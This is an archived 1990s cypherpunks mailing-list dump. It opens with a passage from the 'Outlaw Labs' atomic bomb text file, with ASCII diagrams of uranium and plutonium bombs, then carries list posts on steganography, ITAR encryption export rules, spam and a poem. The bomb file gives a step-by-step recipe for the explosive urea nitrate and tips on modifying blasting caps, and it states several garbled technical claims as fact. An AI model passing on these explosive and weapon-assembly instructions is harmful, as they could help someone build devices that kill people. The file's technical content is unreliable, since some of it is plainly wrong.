bring about this reaction.  Only a small piece is needed.  The material is not
fissionable in and of itself, but merely acts as a catalyst to the greater
reaction.



 ============================================================================


                        - Diagram of a Chain Reaction -
                        -------------------------------



                                       |
                                       |
                                       |
                                       |
    [1]------------------------------> o

                                    . o o .
                                   . o_0_o . <-----------------------[2]
                                   . o 0 o .
                                    . o o .

                                       |
                                      \|/
                                       ~

                                 . o o. .o o .
    [3]-----------------------> . o_0_o"o_0_o .
                                . o 0 o~o 0 o .
                                 . o o.".o o .
                                       |
                                  /    |    \
                                |/_    |    _\|
                                ~~     |     ~~
                                       |
                           o o         |        o o
    [4]-----------------> o_0_o        |       o_0_o <---------------[5]
                          o~0~o        |       o~0~o
                           o o )       |      ( o o
                              /        o       \
                             /        [1]       \
                            /                    \
                           /                      \
                          /                        \
                         o [1]                  [1] o
                 . o o .            . o o .            . o o .
                . o_0_o .          . o_0_o .          . o_0_o .
                . o 0 o .  <-[2]-> . o 0 o . <-[2]->  . o 0 o .
                 . o o .            . o o .            . o o .

                  /                    |                    \
                |/_                   \|/                   _\|
                ~~                     ~                     ~~

      . o o. .o o .              . o o. .o o .              . o o. .o o .
     . o_0_o"o_0_o .            . o_0_o"o_0_o .            . o_0_o"o_0_o .
     . o 0 o~o 0 o . <--[3]-->  . o 0 o~o 0 o .  <--[3]--> . o 0 o~o 0 o .
      . o o.".o o .              . o o.".o o .              . o o.".o o .
        .   |   .                  .   |   .                  .   |   .
       /    |    \                /    |    \                /    |    \
       :    |    :                :    |    :                :    |    :
       :    |    :                :    |    :                :    |    :
      \:/   |   \:/              \:/   |   \:/              \:/   |   \:/
       ~    |    ~                ~    |    ~                ~    |    ~
  [4] o o   |   o o [5]      [4] o o   |   o o [5]      [4] o o   |   o o [5]
     o_0_o  |  o_0_o            o_0_o  |  o_0_o            o_0_o  |  o_0_o
     o~0~o  |  o~0~o            o~0~o  |  o~0~o            o~0~o  |  o~0~o
      o o ) | ( o o              o o ) | ( o o              o o ) | ( o o
         /  |  \                    /  |  \                    /  |  \
        /   |   \                  /   |   \                  /   |   \
       /    |    \                /    |    \                /    |    \
      /     |     \              /     |     \              /     |     \
     /      o      \            /      o      \            /      o      \
    /      [1]      \          /      [1]      \          /      [1]      \
   o                 o        o                 o        o                 o
  [1]               [1]      [1]               [1]      [1]               [1]






 ============================================================================


                              - Diagram Outline -
                             ---------------------


                        [1] - Incoming Neutron
                        [2] - Uranium-235
                        [3] - Uranium-236
                        [4] - Barium Atom
                        [5] - Krypton Atom




===========================================================================



-End of section 2-
-Diagrams & Documentation of the Atomic Bomb- 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



     III.  The Mechanism of The Bomb
           -------------------------


     Altimeter
     ---------

     An ordinary aircraft altimeter uses a type of Aneroid Barometer which
measures the changes in air pressure at different heights.  However, changes
in air pressure due to the weather can adversely affect the altimeter's
readings.  It is far more favorable to use a radar (or radio) altimeter for
enhanced accuracy when the bomb reaches Ground Zero.

     While Frequency Modulated-Continuous Wave (FM CW) is more complicated,
the accuracy of it far surpasses any other type of altimeter.  Like simple
pulse systems, signals are emitted from a radar aerial (the bomb), bounced off
the ground and received back at the bomb's altimeter.  This pulse system
applies to the more advanced altimeter system, only the signal is continuous
and centered around a high frequency such as 4200 MHz.  This signal is
arranged to steadily increase at 200 MHz per interval before dropping back to
its original frequency.

     As the descent of the bomb begins, the altimeter transmitter will send
out a pulse starting at 4200 MHz.  By the time that pulse has returned, the
altimeter transmitter will be emitting a higher frequency.  The difference
depends on how long the pulse has taken to do the return journey.  When these
two frequencies are mixed electronically, a new frequency (the difference
between the two) emerges.  The value of this new frequency is measured by the
built-in microchips.  This value is directly proportional to the distance
travelled by the original pulse, so it can be used to give the actual height.

     In practice, a typical FM CW radar today would sweep 120 times per
second.  Its range would be up to 10,000 feet (3000 m) over land and 20,000
feet (6000 m) over sea, since sound reflections from water surfaces are
clearer.

     The accuracy of these altimeters is within 5 feet (1.5 m) for the higher
ranges.  Being that the ideal airburst for the atomic bomb is usually set for
1,980 feet, this error factor is not of enormous concern.

     The high cost of these radar-type altimeters has prevented their use in
commercial applications, but the decreasing cost of electronic components
should make them competitive with barometric types before too long.



     Air Pressure Detonator
     ----------------------

     The air pressure detonator can be a very complex mechanism, but for all
practical purposes, a simpler model can be used.  At high altitudes, the air
is of lesser pressure.  As the altitude drops, the air pressure increases.  A
simple piece of very thin magnetized metal can be used as an air pressure
detonator.  All that is needed is for the strip of metal to have a bubble of
extremely thin metal forged in the center and have it placed directly
underneath the electrical contact which will trigger the conventional
explosive detonation.  Before setting the strip in place, push the bubble in
so that it will be inverted.

     Once the air pressure has achieved the desired level, the magnetic bubble
will snap back into its original position and strike the contact, thus
completing the circuit and setting off the explosive(s).



     Detonating Head
     ---------------

     The detonating head (or heads, depending on whether a Uranium or
Plutonium bomb is being used as a model) that is seated in the conventional
explosive charge(s) is similar to the standard-issue blasting cap.  It merely
serves as a catalyst to bring about a greater explosion.  Calibration of this
device is essential.  Too small of a detonating head will only cause a
colossal dud that will be doubly dangerous since someone's got to disarm and
re-fit the bomb with another detonating head. (an added measure of discomfort
comes from the knowledge that the conventional explosive may have detonated
with insufficient force to weld the radioactive metals.  This will cause a
supercritical mass that could go off at any time.)  The detonating head will
receive an electric charge from the either the air pressure detonator or the
radar altimeter's coordinating detonator, depending on what type of system is
used.  The Du Pont company makes rather excellent blasting caps that can be
easily modified to suit the required specifications.



     Conventional Explosive Charge(s)
     --------------------------------

     This explosive is used to introduce (and weld) the lesser amount of
Uranium to the greater amount within the bomb's housing.  [The amount of
pressure needed to bring this about is unknown and possibly classified by the
United States Government for reasons of National Security]

     Plastic explosives work best in this situation since they can be
manipulated to enable both a Uranium bomb and a Plutonium bomb to detonate.
One very good explosive is Urea Nitrate.  The directions on how to make Urea
Nitrate are as follows:

     - Ingredients -
     ---------------
     [1]  1 cup concentrated solution of uric acid (C5 H4 N4 O3)
     [2]  1/3 cup of nitric acid
     [3]  4 heat-resistant glass containers
     [4]  4 filters (coffee filters will do)


     Filter the concentrated solution of uric acid through a filter to remove
impurities.  Slowly add 1/3 cup of nitric acid to the solution and let the
mixture stand for 1 hour.  Filter again as before.  This time the Urea Nitrate
crystals will collect on the filter.  Wash the crystals by pouring water over
them while they are in the filter.  Remove the crystals from the filter and
allow 16 hours for them to dry.  This explosive will need a blasting cap to
detonate.


     It may be necessary to make a quantity larger than the aforementioned
list calls for to bring about an explosion great enough to cause the Uranium
(or Plutonium) sections to weld together on impact.



     Neutron Deflector
     -----------------

     The neutron deflector is comprised solely of Uranium-238.  Not only is
U-238 non-fissionable, it also has the unique ability to reflect neutrons back
to their source.

     The U-238 neutron deflector can serve 2 purposes.  In a Uranium bomb, the
neutron deflector serves as a safeguard to keep an accidental supercritical
mass from occurring by bouncing the stray neutrons from the `bullet'
counterpart of the Uranium mass away from the greater mass below it (and vice-
versa).  The neutron deflector in a Plutonium bomb actually helps the wedges
of Plutonium retain their neutrons by `reflecting' the stray particles back
into the center of the assembly.  [See diagram in Section 4 of this file.]



     Uranium & Plutonium
     -------------------

     Uranium-235 is very difficult to extract.  In fact, for every 25,000 tons
of Uranium ore that is mined from the earth, only 50 tons of Uranium metal can
be refined from that, and 99.3% of that metal is U-238 which is too stable to
be used as an active agent in an atomic detonation.  To make matters even more
complicated, no ordinary chemical extraction can separate the two isotopes
since both U-235 and U-238 possess precisely identical chemical
characteristics.  The only methods that can effectively separate U-235 from
U-238 are mechanical methods.

     U-235 is slightly, but only slightly, lighter than its counterpart,
U-238.  A system of gaseous diffusion is used to begin the separating process
between the two isotopes.  In this system, Uranium is combined with fluorine
to form Uranium Hexafluoride gas.  This mixture is then propelled by low-
pressure pumps through a series of extremely fine porous barriers.  Because
the U-235 atoms are lighter and thus propelled faster than the U-238 atoms,
they could penetrate the barriers more rapidly.  As a result, the
U-235's concentration became successively greater as it passed through each
barrier.  After passing through several thousand barriers, the Uranium
Hexafluoride contains a relatively high concentration of U-235 -- 2% pure
Uranium in the case of reactor fuel, and if pushed further could
(theoretically) yield up to 95% pure Uranium for use in an atomic bomb.

     Once the process of gaseous diffusion is finished, the Uranium must be
refined once again.  Magnetic separation of the extract from the previous
enriching process is then implemented to further refine the Uranium.  This
involves electrically charging Uranium Tetrachloride gas and directing it past
a weak electromagnet.  Since the lighter U-235 particles in the gas stream are
less affected by the magnetic pull, they can be gradually separated from the
flow.

     Following the first two procedures, a third enrichment process is then
applied to the extract from the second process.  In this procedure, a gas
centrifuge is brought into action to further separate the lighter U-235 from
its heavier counter-isotope.  Centrifugal force separates the two isotopes of
Uranium by their mass.  Once all of these procedures have been completed, all
that need be done is to place the properly molded components of Uranium-235
inside a warhead that will facilitate an atomic detonation.

     Supercritical mass for Uranium-235 is defined as 110 lbs (50 kgs) of
pure Uranium.

     Depending on the refining process(es) used when purifying the U-235 for
use, along with the design of the warhead mechanism and the altitude at which
it detonates, the explosive force of the A-bomb can range anywhere from 1
kiloton (which equals 1,000 tons of TNT) to 20 megatons (which equals 20
million tons of TNT -- which, by the way, is the smallest strategic nuclear
warhead we possess today.  {Point in fact -- One Trident Nuclear Submarine
carries as much destructive power as 25 World War II's}).

     While Uranium is an ideally fissionable material, it is not the only one.
Plutonium can be used in an atomic bomb as well.  By leaving U-238 inside an
atomic reactor for an extended period of time, the U-238 picks up extra
particles (neutrons especially) and gradually is transformed into the element
Plutonium.

     Plutonium is fissionable, but not as easily fissionable as Uranium.
While Uranium can be detonated by a simple 2-part gun-type device, Plutonium
must be detonated by a more complex 32-part implosion chamber along with a
stronger conventional explosive, a greater striking velocity and a
simultaneous triggering mechanism for the conventional explosive packs.  Along
with all of these requirements comes the additional task of introducing a fine
mixture of Beryllium and Polonium to this metal while all of these actions are
occurring.

     Supercritical mass for Plutonium is defined as 35.2 lbs (16 kgs).  This
amount needed for a supercritical mass can be reduced to a smaller quantity of
22 lbs (10 kgs) by surrounding the Plutonium with a U-238 casing.


     To illustrate the vast difference between a Uranium gun-type detonator
and a Plutonium implosion detonator, here is a quick rundown.

 ============================================================================


     [1]  Uranium Detonator
          -----------------

              Comprised of 2 parts.  Larger mass is spherical and concave.
              Smaller mass is precisely the size and shape of the `missing'
              section of the larger mass.  Upon detonation of conventional
              explosive, the smaller mass is violently injected and welded
              to the larger mass.  Supercritical mass is reached, chain
              reaction follows in one millionth of a second.


     [2]  Plutonium Detonator
          -------------------

              Comprised of 32 individual 45-degree pie-shaped sections of
              Plutonium surrounding a Beryllium/Polonium mixture.  These 32
              sections together form a sphere.  All of these sections must
              have the precisely equal mass (and shape) of the others.  The
              shape of the detonator resembles a soccerball.  Upon detonation
              of conventional explosives, all 32 sections must merge with the
              B/P mixture within 1 ten-millionths of a second.



 ____________________________________________________________________________

                                  - Diagram -
                                 -------------
 ____________________________________________________________________________
                                       |
            [Uranium Detonator]        |         [Plutonium Detonator]
 ______________________________________|_____________________________________
                _____                  |
               |    :|                 |               . [2] .
               |    :|                 |           . ~   \_/   ~ .
               | [2]:|                 |        ..        .        ..
               |    :|                 |      [2]|        .        |[2]
               |   .:|                 |     . ~~~ .      .      . ~~~ .
               `...::'                 |    .        .    .    .        .
               _ ~~~ _                 |   .           .  ~  .           .
            . `|     |':..             | [2]\.  .  .  .  [1]  .  .  .  ./[2]
         .     |     | `:::.           |   ./          . ~~~ .          \.
               |     |   `:::          |   .         .    :    .         .
       .       |     |    ::::         |    .      .      .      .      .
               | [1] |    ::|::        |     . ___        .        ___ .
      .        `.   .'   ,::||:        |      [2]|        .        |[2]
                 ~~~     ::|||:        |        .'        _        `.
       ..        [2]   .::|||:'        |           .     / \     .
        ::...       ..::||||:'         |              ~ -[2]- ~
         :::::::::::::||||::'          |
          ``::::||||||||:''            |
              ``:::::''                |
                                       |
                                       |
                                       |
                                       |
       [1] = Collision Point           |      [1] = Collision Point
       [2] - Uranium Section(s)        |      [2] = Plutonium Section(s)
                                       |
                                       |
 ______________________________________|_____________________________________
 ============================================================================



     Lead Shield
     -----------

     The lead shield's only purpose is to prevent the inherent radioactivity
of the bomb's payload from interfering with the other mechanisms of the bomb.
The neutron flux of the bomb's payload is strong enough to short circuit the
internal circuitry and cause an accidental or premature detonation.



     Fuses
     -----

     The fuses are implemented as another safeguard to prevent an accidental
detonation of both the conventional explosives and the nuclear payload.  These
fuses are set near the surface of the `nose' of the bomb so that they can be
installed easily when the bomb is ready to be launched.  The fuses should be
installed only shortly before the bomb is launched.  To affix them before it
is time could result in an accident of catastrophic proportions.



 ============================================================================


-End of section 3-
-Documentation & Diagrams of the Atomic Bomb- 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



  IV.  The Diagram of the Atomic Bomb
       ------------------------------

                             [Gravity Bomb Model]
                         ----------------------------
                        -> Cutaway Sections Visible <-


 ============================================================================




                                      /\
                                     /  \ <---------------------------[1]
                                    /    \
                  _________________/______\_________________
                 | :      ||:      ~      ~               : |
     [2]-------> | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :______||:_____________________________: |
                 |/_______||/______________________________\|
                  \       ~\       |              |         /
                   \       |\      |              |        /
                    \      | \     |              |       /
                     \     |  \    |              |      /
                      \    |___\   |______________|     /
                       \  |     \ |~               \   /
                        \|_______\|_________________\_/
                        |_____________________________|
                        /                             \
                       /       _________________       \
                      /      _/                 \_      \
                     /    __/                     \__    \
                    /    /                           \    \
                   /__ _/                             \_ __\
     [3]_______________________________                 \ _|
                   / /                 \                 \ \
                  / /                  \/                 \ \
                 / /              ___________              \ \
                | /            __/___________\__            \ |
                | |_  ___     /=================\     ___  _| |
     [4]---------> _||___|====|[[[[[[[|||]]]]]]]|====|___||_ <--------[4]
                | |           |-----------------|           | |
                | |           |o=o=o=o=o=o=o=o=o| <-------------------[5]
                | |            \_______________/            | |
                | |__                |: :|                __| |
                | |  \______________ |: :| ______________/  | |
                | | ________________\|: :|/________________ | |
                | |/            |::::|: :|::::|            \| |
     [6]----------------------> |::::|: :|::::| <---------------------[6]
                | |             |::::|: :|::::|             | |
                | |             |::==|: :|== <------------------------[9]
                | |             |::__\: :/__::|             | |
                | |             |::  ~: :~  ::|             | |
     [7]----------------------------> \_/   ::|             | |
                | |~\________/~\|::    ~    ::|/~\________/~| |
                | |            ||::         <-------------------------[8]
                | |_/~~~~~~~~\_/|::_ _ _ _ _::|\_/~~~~~~~~\_| |
     [9]-------------------------->_=_=_=_=_::|             | |
                | |             :::._______.:::             | |
                | |            .:::|       |:::..           | |
                | |        ..:::::'|       |`:::::..        | |
     [6]---------------->.::::::' ||       || `::::::.<---------------[6]
                | |    .::::::' | ||       || | `::::::.    | |
               /| |  .::::::'   | ||       || |   `::::::.  | |
              | | | .:::::'     | ||    <-----------------------------[10]
              | | |.:::::'      | ||       || |      `:::::.| |
              | | ||::::'       | |`.     .'| |       `::::|| |
    [11]___________________________  ``~''  __________________________[11]
              : | | \::            \       /            ::/ | |
             |  | |  \:_________|_|\/__ __\/|_|_________:/  | |
             /  | |   |  __________~___:___~__________  |   | |
            ||  | |   | |          |:::::::|          | |   | |
    [12]   /|:  | |   | |          |:::::::|          | |   | |
  |~~~~~  / |:  | |   | |          |:::::::|          | |   | |
  |----> / /|:  | |   | |          |:::::::|        <-----------------[10]
  |     / / |:  | |   | |          |:::::::|          | |   | |
  |      /  |:  | |   | |          |::::<-----------------------------[13]
  |     /  /|:  | |   | |          |:::::::|          | |   | |
  |    /  / |:  | |   | |          `:::::::'          | |   | |
  |  _/  / /:~: | |   | `:           ``~''           :' |   | |
  |  |  / / ~.. | |   |: `:                         :' :|   | |
  |->| / /   :  | |   :::  `.                     .' <----------------[11]
  |  |/ / ^   ~\|  \  ::::.  `.                 .'  .::::  /  |
  |  ~   /|\    |   \_::::::.  `.             .'  .::::::_/   |
  |_______|     |      \::::::.  `.         .'  .:::<-----------------[6]
                |_________\:::::.. `~.....~' ..:::::/_________|
                |          \::::::::.......::::::::/          |
                |           ~~~~~~~~~~~~~~~~~~~~~~~           |
                `.                                           .'
                 `.                                         .'
                  `.                                       .'
                   `:.                                   .:'
                    `::.                               .::'
                      `::..                         ..::'
                        `:::..                   ..:::'
                          `::::::...        ..::::::'
    [14]------------------> `:____:::::::::::____:' <-----------------[14]
                              ```::::_____::::'''
                                     ~~~~~






 ============================================================================


                              - Diagram Outline -
                             ---------------------

                        [1] - Tail Cone
                        [2] - Stabilizing Tail Fins
                        [3] - Air Pressure Detonator
                        [4] - Air Inlet Tube(s)
                        [5] - Altimeter/Pressure Sensors
                        [6] - Lead Shield Container
                        [7] - Detonating Head
                        [8] - Conventional Explosive Charge
                        [9] - Packing
                       [10] - Uranium (U-235) [Plutonium (See other diagram)]
                       [11] - Neutron Deflector (U-238)
                       [12] - Telemetry Monitoring Probes
                       [13] - Receptacle for U-235 upon detonation
                              to facilitate supercritical mass.
                       [14] - Fuses (inserted to arm bomb)




 ============================================================================


                        - Diagram for Plutonium Bomb -
                       --------------------------------
                       [Gravity Bomb - Implosion Model]
                       --------------------------------
                        -> Cutaway Sections Visible <-



 ============================================================================



                                      /\
                                     /  \ <---------------------------[1]
                                    /    \
                  _________________/______\_________________
                 | :      ||:      ~      ~               : |
     [2]-------> | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :      ||:                             : |
                 | :______||:_____________________________: |
                 |/_______||/______________________________\|
                  \       ~\       | :          |:|         /
                   \       |\      | :          |:|        /
                    \      | \     | :__________|:|       /
                     \     |:_\    | :__________\:|      /
                      \    |___\   |______________|     /
                       \  |     \ |~               \   /
                        \|_______\|_________________\_/
                        |_____________________________|
                        /                             \
                       /                               \
                      /                                 \
                     /          _______________          \
                    /       ___/               \___       \
                   /____ __/                       \__ ____\
     [3]_______________________________               \ ___|
                   / __/               \               \__ \
                  / /                  \/                 \ \
                 / /              ___________              \ \
                / /            __/___________\__            \ \
              ./ /__  ___     /=================\     ___  __\ \.
     [4]-------> ___||___|====|[[[[[|||||||]]]]]|====|___||___ <------[4]
            /  /              |=o=o=o=o=o=o=o=o=| <-------------------[5]
           .' /                \_______ _______/                \ `.
           :  |___                    |*|                    ___|  :
          .'  |   \_________________  |*|  _________________/   |  `.
          :   |   ___________   ___ \ |*| / ___   ___________   |   :
          :   |__/           \ /   \_\\*//_/   \ /           \__|   :
          :   |______________:|:____:: **::****:|:********\ <---------[6]
         .'  /:|||||||||||||'`|;..:::::::::::..;|'`|||||||*|||||:\  `.
     [7]----------> ||||||' .:::;~|~~~___~~~|~;:::. `|||||*|| <-------[7]
         :   |:|||||||||' .::'\ ..:::::::::::.. /`::. `|||*|||||:|   :
         :   |:|||||||' .::' .:::''~~     ~~``:::. `::. `|\***\|:|   :
         :   |:|||||' .::\ .::''\ |   [9]   | /``::: /::. `|||*|:|   :
     [8]------------>::' .::'    \|_________|/    `::: `::. `|* <-----[6]
         `.  \:||' .::' ::'\ [9] .     .     . [9] /::: `::.  *|:/  .'
          :   \:' :::'.::'  \  .               .  /  `::.`::: *:/   :
          :    | .::'.::'____\    [10] . [10]    /____`::.`::.*|    :
          :    | :::~:::     |       . . .       |     :::~:::*|    :
          :    | ::: ::  [9] | .   . ..:.. .   . | [9]  :: :::*|    :
          :    \ ::: ::      |       . :\_____________________________[11]
          `.    \`:: ::: ____|     .   .   .     |____ ::: ::'/    .'
           :     \:;~`::.    / .  [10]   [10]  . \    .::'~::/     :
           `.     \:. `::.  /    .     .     .    \  .::' .:/     .'
            :      \:. `:::/ [9]   _________   [9] \:::' .:/      :
            `.      \::. `:::.   /|         |\   .:::' .::/      .'
             :       ~~\:/ `:::./ |   [9]   | \.:::' \:/~~       :
             `:=========\::. `::::...     ...::::' .::/=========:'
              `:         ~\::./ ```:::::::::''' \.::/~         :'
               `.          ~~~~~~\|   ~~~   |/~~~~~~          .'
                `.                \:::...:::/                .'
                 `.                ~~~~~~~~~                .'
                  `.                                       .'
                   `:.                                   .:'
                    `::.                               .::'
                      `::..                         ..::'
                        `:::..                   ..:::'
                          `::::::...        ..::::::'
    [12]------------------> `:____:::::::::::____:' <-----------------[12]
                              ```::::_____::::'''
                                     ~~~~~






 ============================================================================


                              - Diagram Outline -
                             ---------------------

                        [1] - Tail Cone
                        [2] - Stabilizing Tail Fins
                        [3] - Air Pressure Detonator
                        [4] - Air Inlet Tube(s)
                        [5] - Altimeter/Pressure Sensors
                        [6] - Electronic Conduits & Fusing Circuits
                        [7] - Lead Shield Container
                        [8] - Neutron Deflector (U-238)
                        [9] - Conventional Explosive Charge(s)
                       [10] - Plutonium (Pu-239)
                       [11] - Receptacle for Beryllium/Polonium mixture
                              to facilitate atomic detonation reaction.
                       [12] - Fuses (inserted to arm bomb)




 ============================================================================


-End of section 4-
-Documentation & Diagrams of the Atomic Bomb-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WSJ Interactive Edition Editors <update@INTERACTIVE.WSJ.COM>
Date: Mon, 12 May 1997 08:54:46 -0700 (PDT)
To: Multiple recipients of list WSJIE-WHATSNEW             <WSJIE-WHATSNEW@LISTSERV.DOWJONES.COM>
Subject: Now read the Interactive Journal without Logging In
Message-ID: <3.0.32.19970512112434.00a0e930@pop.dowjones.com>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Neil Johnson <njohnson@gmu.edu>
Date: Thu, 15 May 1997 06:16:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Steganography and this list
In-Reply-To: <1.5.4.32.19970514114154.008b60fc@pop.pipeline.com>
Message-ID: <Pine.SOL.3.95.970515090656.28112A-100000@isse>
MIME-Version: 1.0
Content-Type: text/plain


For those of you interested in Steganography,  there is a Steganography
mailing list.  I subscribed to cypherpunks to try to watch Steganography
discussions from another source.  Well, there is much discussion going on
some good and some not so good.  I will probably stay on this list for a
while longer for the 1 in 100 message on steganography and the 10 in 100
messages on cryptography issues.

The following is the instructions for the Steganography Mailing list;
subscribing and unsubscribing sent out by Markus Kuhn in 1995.  Thes
instructions may also be found at
http://patriot.net/~johnson/html/neil/sec/steglist.htm

Thank you
----



Newsgroups: sci.crypt.research
From:  Markus Kuhn
Subject: Announcement: Steganography Mailing List
Message-ID: 
Sender: mpj@netcom15.netcom.com
Organization: private site, Hamburg (Germany)
Date: Wed, 5 Jul 1995 21:59:59 GMT
Approved: crypt-request@cs.aukuni.ac.nz

Steganography Mailing List
--------------------------

Markus Kuhn -- 1995-07-03


Steganography is the art and science of communicating in a way which
hides the existence of the communication. In contrast to cryptography,
where the "enemy" is allowed to detect, intercept and modify messages
without being able to violate certain security premises guaranteed by
a cryptosystem, the goal of steganography is to hide messages inside
other "harmless" messages in a way that does not allow any "enemy" to
even detect that there is a second secret message present.
Steganography is in the (especially military) literature also referred
to as transmission security or short TRANSEC.

A good steganography system should fulfill the same requirements posed
by the "Kerckhoff principle" in cryptography. This means that the
security of the system has to be based on the assumption that the
"enemy" has full knowledge of the design and implementation details of
the steganographic system. The only missing information for the
"enemy" is a short easily exchangeable random number sequence, the
secret key, and without the secret key, the "enemy" should not have
the slightest chance of even becoming suspicious that on an observed
communication channel hidden communication might take place.

Steganography is closely related to the problem of "hidden channels"
in secure operating system design, a term which refers to all
communication paths that can not easily be restricted by access
control mechanisms (e.g. two processes that communicate by modulating
and measuring the CPU load). Steganography is also closely related to
spread spectrum radio transmission, a technique that allows to receive
radio signals that are over 100 times weaker than the atmospheric
background noise, as well as TEMPEST, techniques which analyze RF
transmissions of computer and communication equipment in order to get
access to secret information handled by these systems.

Most communication channels like telephone lines and radio broadcasts
transmit signals which are always accompanied by some kind of noise.
This noise can be replaced by a secret signal that has been
transformed into a form that is indistinguishable from noise without
knowledge of a secret key and this way, the secret signal can be
transmitted undetectable.

This basic design principle of steganographic systems, i.e. replacing
high entropy noise with a high entropy secret transmission, is quite
obvious. There have a number of simple software tools been published
for e.g. hiding files in the least significant bits of digital images
or for transforming PGP messages into files resembling pure random
byte sequences.

However really good steganography is much more difficult and usage of
most of the currently available steganographic tools might be quite
easily detected using sufficiently careful analysis of the transmitted
data. The noise on analog systems has a large number of properties
very characteristic to the channel and the equipment used in the
communication system. A good steganographic system has to observe the
channel, has to build a model of the type of noise which is present
and has then to adapt the parameters of its own encoding algorithms so
that the noise replacement fits the model parameters of the noise on
the channel as well as possible. Whether the steganographic system is
really secure depends on whether the "enemy" has a more sophisticated
model of the noise on the channel than the one used in the
steganographic system.

Common communication systems have a huge number of characteristics and
only a small fraction of what looks like noise can actually be
replaced by the statistically very clean noise of a cryptographic
ciphertext. Noise in communication systems is often created by
modulation, quantization and signal cross-over and is heavily
influenced by these mechanisms and in addition by all kinds of
filters, echo cancelation units, data format converters, etc. Many
steganographic systems have to work in noisy environments and
consequently require synchronization and forward error correction
mechanisms that also have to be undetectable as long as the secret key
is unknown.

It is my impression that the field of steganography has not yet been
examined in detail by the scientific community outside the military
world. Many of the above mentioned problems in the design of high
quality steganographic systems have not been addressed in the
literature and only very few attempts of practical solutions have been
published and analyzed so far.

In order to encourage discussion and cooperation in the field of
steganography, the STEGANO-L mailing list has been established. We
want to invite people with a good background in modern communication
systems, cryptography, digital signal processing, information theory,
mathematics, etc. to publish tools for steganographic systems, to
attack these and discuss weaknesses and possible improvements and to
collect statistic and signal processing software tools as well as
sample data that can be used for quality control of steganographic
systems.

In order to (un-)subscribe to STEGANO-L, send an e-mail message
"(UN)SUB stegano-l your-mail-address" to

  stegano-l-request@as-node.jena.thur.de

Messages to all STEGANO-L members have to be sent to the address

  stegano-l@as-node.jena.thur.de

The manager of the mailing list server is

  Lutz Donnerhacke Lutz.Donnerhacke@Jena.Thur.De

WWW: http://www.thur.de/ulf/stegano/


I am looking forward to meet you in interesting discussions there ...

Markus

-- 
Markus Kuhn, Computer Science student -- University of Erlangen,


----

Neil F. Johnson
  Home Page URL:      http://patriot.net/~johnson/neil
  FoxPro:             http://patriot.net/~johnson/Fox
  Security/Privacy:   http://patriot.net/~johnson/Security
  Steganography:      http://patriot.net/~johnson/Steganography
             or       http://patriot.net/~johnson/neil/stego
  Resources on:       FoxPro, Security and Privacy, and MUCH MORE. 
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 16 May 1997 04:10:33 -0700 (PDT)
To: gomez@BASISinc.com
Subject: [Fwd: ITAR / S 1726 / Civil Disobedience]
Message-ID: <337C3D50.1B50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn/


To: president@whitehouse.gov, toto@sk.sympatico.ca
Subject: ITAR / S 1726 / Civil Disobedience
From: "C.J. Parker" <toto@sk.sympatico.ca>
Date: Fri May 16  5:42:13 1997


Dear Mr. President,

   I am writing to express my disapproval of the Clinton Administration's
position on the ITAR restrictions for encryption software.  This is an
important issue to me.

  1) Software is writing, so it is protected by the first amendment, 
     so the ITAR is unconstitutional.  The idea that only paper books
     are first amendment protected, and electronic books are not, is just 
     plain wrong.

  2) The ITAR does not help National Security, but in fact greatly reduces 
     our nations security because the Internet, and the computers and 
     information connected to it, are kept from using good Encryption.  

  3) I feel that encryption is very important for doing commerce on the 
     Internet, and that commerce on the Internet is important for our 
     economy (Internet is the fastest growing sizable segment).  You say 
     you like the "Information Super Highway" and you are "going to focus 
     on the economy like a laser".  You should be removing the ITAR 
     restrictions on American businesses.  Otherwise the business for 
     commerce software will go to companies in other countries.

  4) The Clinton Clipper III proposal to have government key escrow 
     is not acceptable.  Also, it will never work, since people will 
     always be able to buy and use software from the rest of the world.  
     This proposal is just slowing down Internet progress.  Please
     cancel Clipper III.

  5) Please support Senator Burns Pro-CODE bill S 1726 that would end 
     this foolishness.  

     Or better yet, just take software off the list of "munitions".
     The current law, (see http://www.law.cornell.edu/uscode/22/2778.html),
     says that "The President shall periodically review the items on 
     the United States Munitions List to determine what items, if any, 
     no longer warrant export controls under this section.  The results 
     of such reviews shall be reported to the Speaker of the House [...] 
     at least 30 days before any item is removed from the Munitions 
     List [...]."  

  5) As an act of civil disobedience I have personally exported an 
     encryption program (it is 3 lines of writing) using the web page at 
     http://online.offshore.com.ai/arms-trafficker/

Yours sincerely,


     C.J. Parker
     toto@sk.sympatico.ca

Sent from host lohner20.sk.sympatico.ca with IP 142.165.98.20 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: internet@netline.com
Date: Fri, 16 May 1997 08:00:39 -0700 (PDT)
To: letter@techlink.com
Subject: Express Letter
Message-ID: <199703170025.GAA080@interlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

How are you?

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Thank You and Good Luck!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shift Control <nobody@faust.guardian.co.uk>
Date: Fri, 16 May 1997 17:13:48 -0700 (PDT)
To: shiftcontrol@nml.guardian.co.uk
Subject: Embrace the Dark Side
Message-ID: <199705161100.MAA01249@faust.guardian.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Z is for Zoomorphic
Y is for Young Frankenstein
X is for X-mal Deutschland
W is for Witch
V is for Vampire
U is for Undead
T is for Terror
